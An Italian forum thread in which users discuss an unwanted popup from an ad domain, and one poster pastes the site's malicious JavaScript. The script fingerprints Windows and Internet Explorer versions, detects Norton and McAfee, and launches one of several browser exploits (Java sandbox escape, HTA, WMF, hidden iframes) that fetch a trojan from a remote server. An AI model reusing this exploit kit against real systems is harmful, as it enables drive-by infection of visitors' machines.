quote:

---

io non ho l'antivirus.
però mi appare una iconcina in basso con la scritta http//ad0299.vogservice....
un popup, insomma.
l'unica rottura di faraglioni sta nel fatto che devo chiuderla (pulsante destro + chiudi)

---

quote:

---

Originally posted by PeterPa:
io non ho l'antivirus.

---

Almeno cerchiamo di escludere alcune ipotesi

Insomma facevo meglio, prima, a star zitto

function Run_BOF()
{
self.focus();
for (i=1 ; i <=4 ; i++)
{
document.writeln('<iframe width=1 height=1 border=0 frameborder=0 src="pluginst.htm"></iframe>');
}
document.writeln('<iframe width=1 height=1 border=0 frameborder=0 src="ie0601d.htm"></iframe>');
}

var Trojan_Path="http://ad0299.vogservice.com/cgi-bin/ie0601.cgi?exploit=";

if (navigator.appName=="Microsoft Internet Explorer")
{
var InetPath=document.location.href;
j=InetPath.lastIndexOf('/');
InetPath=InetPath.slice(0,j);

var ExploitNumber=1;
var IEversion=navigator.appVersion;
var IEplatform=navigator.platform;
if (IEplatform.search("Win32") != -1)
{
var WinOS=Get_Win_Version(IEversion);
PatchList = clientInformation.appMinorVersion;
var JVM_vers = GetVersion("{08B0E5C0-4FCB-11CF-AAA5-00401C608500}");
var IE_vers = GetVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}");
fNortonAV=0; fMcAfee=0; XP_SP2_patched=0;
try
{
var oNortonAV=new ActiveXObject("NAVCfgWizDll.NAVCfgWizMgr"); //Norton Antivirus Config Wizard initialization
fNortonAV=1;
}
catch(e){}
try
{
var oMcAfee=new ActiveXObject("McGDMgr.DwnldGroupMgr"); // McAfee Security Download Control initialization
fMcAfee=1;
}
catch(e){}

switch (WinOS)
{
case "2K":
if ((JVM_vers[0]!=0)&&(JVM_vers[2]<3810))
{ ExploitNumber=1; }
else // if JVM = 5.0.3810.0 or higher
{
if ((fNortonAV==0)&&(fMcAfee==0))
{ ExploitNumber=3; }
else
{ ExploitNumber=2; }
}
break;
case "2K3":
if ((fNortonAV==0)&&(fMcAfee==0))
{ ExploitNumber=3; }
else
{ ExploitNumber=4; }
break;
case "XP":
FullVersion=clientInformation.appMinorVersion;
PatchList=FullVersion.split(";");

if ((JVM_vers[0]!=0)&&(JVM_vers[2]<3810))
{ ExploitNumber=1; }
else // if JVM = 5.0.3810.0 or higher
{
for (var i=0; i < PatchList.length; i++)
{
if (PatchList[i]=="SP2")
{ XP_SP2_patched=1; }

}
if ((fNortonAV==0)&&(fMcAfee==0))
{ ExploitNumber=5; }
else
{ ExploitNumber=4; }

}
break;
default:
if ((JVM_vers[0]!=0)&&(JVM_vers[2]<3810))
{ ExploitNumber=1; }
else
{ ExploitNumber=2; } // if JVM = 5.0.3810.0 or higher

break;
}
// launching exploit which number is depends on Windows and IE versions

switch (ExploitNumber)
{
case 1:
Trojan_Path=Trojan_Path+"MS03-11";
ObjectContainer.innerHTML='<applet archive="'+InetPath+'/'+'ie0601a.jar" codebase="'+InetPath+'" code="SandBoxEscape.class" width=1 height=1><param name="ModulePath" value="'+Trojan_Path+'"></applet>';
break;
case 2:
tagstyle='style="display:none"';
ObjectContainer.innerHTML='<object data="'+InetPath+'/cgi-bin/ie0601.cgi?gethta" '+tagstyle+'></object>';
break;
case 3:
window.open("ie0601c.htm","Info","left=2000,top=2000,screenX=2000,screenY=2000,width=50,height=50,scrollbars=1,menubar=0,titlebar=0,toolbar=0,status=0");
self.focus();
break;
case 4:
Run_BOF();
break;
case 5:
PageContainer.location="ie0601e.wmf";
break;
default:
break;
}

}
}

quote:

---

Originally posted by Arturio:
il troian me lo lancia anke quando apro cubase .it con firefox....

---